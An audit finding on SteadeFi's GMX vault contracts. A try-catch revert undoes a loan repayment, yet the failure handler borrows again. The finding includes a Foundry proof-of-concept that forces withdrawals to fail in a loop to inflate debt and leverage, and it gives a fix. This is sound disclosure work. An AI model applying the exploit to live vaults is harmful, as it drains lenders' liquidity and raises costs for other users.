try-catch does not store the state when it is reverted

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXWithdraw.sol#L239-L243

https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXProcessWithdraw.sol#L56C1-L60C7

https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXWithdraw.sol#L178C5-L178C51

https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXChecks.sol#L224C1-L227C50

Summary

If a withdrawal from GMX is successful without any errors, the borrowed amount is repayed to the lending vaults within a try-catch block within the processWithdraw function. Subsequently, the afterWithdrawChecks are performed. If a revert occurs during this step, everything executed within the try-catch block is reseted, and the Vault's status is set to 'Withdraw_Failed.' In such a scenario, a Keeper must call the processWithdrawFailure function. In this case, there is an erroneous attempt to borrow from the LendingVaults again, even though the repayment never actually occurred due to the revert within the try-catch block.

Vulnerability Details

Here is a POC that demonstrates how a user can exploit this bug by intentionally causing the afterWithdrawChecks to fail, resulting in additional borrowing from the LendingVault in the processWithdrawFailure function.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import { console, console2 } from "forge-std/Test.sol";
import { TestUtils } from "../../helpers/TestUtils.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
import { GMXTestHelper } from "./GMXTestHelper.sol";

import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";

contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
    function test_POC1() public {
        //Owner deposits 1 ether in vault
        vm.startPrank(owner);
        _createDeposit(address(WETH), 1 ether, 0, SLIPPAGE, EXECUTION_FEE);
        vm.stopPrank();
        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));

        //User1 deposits 1 ether in vault
        vm.startPrank(user1);
        _createDeposit(address(WETH), 1 ether, 0, SLIPPAGE, EXECUTION_FEE);
        vm.stopPrank();
        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
        
        //Variables for assertion
        uint256 leverageBefore = vault.leverage();
        (,uint256 debtAmtTokenBBefore) = vault.debtAmt();

        uint256 vaultSharesAmount = IERC20(address(vault)).balanceOf(user1);  //Vault shares to withdraw
        GMXTypes.Store memory _store;
        for(uint256 i; i < 5; i++) {
            vm.startPrank(user1);
            //User1 tries to withdraw all of his deposits and enters an unrealistically high amount as the minWithdrawAmt (10000 ether) to intentionally make the afterWithdrawChecks fail
            _createAndExecuteWithdrawal(address(WETH), address(USDC), address(USDC), vaultSharesAmount, 10000 ether, SLIPPAGE, EXECUTION_FEE);

            _store = vault.store();
            assert(uint256(_store.status) == uint256(GMXTypes.Status.Withdraw_Failed)); //Since the afterWithdrawChecks have failed, the Vault status is Withdraw_Failed

            //Keeper calls processWithdrawFailure to deposit the withdrawn tokens back into GMX, mistakenly borrowing something from the LendingVaults in the process.
            vault.processWithdrawFailure{value: EXECUTION_FEE}(SLIPPAGE, EXECUTION_FEE);
            mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
            vm.stopPrank();
        } //The for-loop is there to demonstrate that a user can easily execute the process multiple times to increase 
          //the debt and leverage. (The user can do it as long as the Lending Vaults have liquidity.)

        //Variables for assertion
        uint256 leverageAfter = vault.leverage();
        (,uint256 debtAmtTokenBAfter) = vault.debtAmt();

        //Shows that after the failed withdrawal process, debt and leverage are higher. (Token A is irrelevant as Delta is Long)
        assert(debtAmtTokenBAfter > debtAmtTokenBBefore);
        assert(leverageAfter > leverageBefore);

        console.log("DebtAmtBefore: %s", debtAmtTokenBBefore);
        console.log("DebtAmtAfter: %s", debtAmtTokenBAfter);
        console.log("leverageBefore: %s", leverageBefore);
        console.log("leverageAfter: %s", leverageAfter);
    }
}

The PoC can be started with this command: forge test --match-test test_POC1 -vv

Impact

Users can intentionally deplete the capacity of a lending vault to increase the leverage of a vault. This also results in lending vaults having no capacity left for new deposits. As a result, the utilization rate increases significantly, leading to higher borrowing costs.

Tools Used

VSCode, Foundry

Recommendations

In processWithdrawFailure, no more borrowing should occur:

File: contracts/strategy/gmx/GMXWithdraw.sol#processWithdrawFailure
239: GMXManager.borrow(
240:       self,
241:       self.withdrawCache.repayParams.repayTokenAAmt,
242:       self.withdrawCache.repayParams.repayTokenBAmt
243: );

These lines of code should be deleted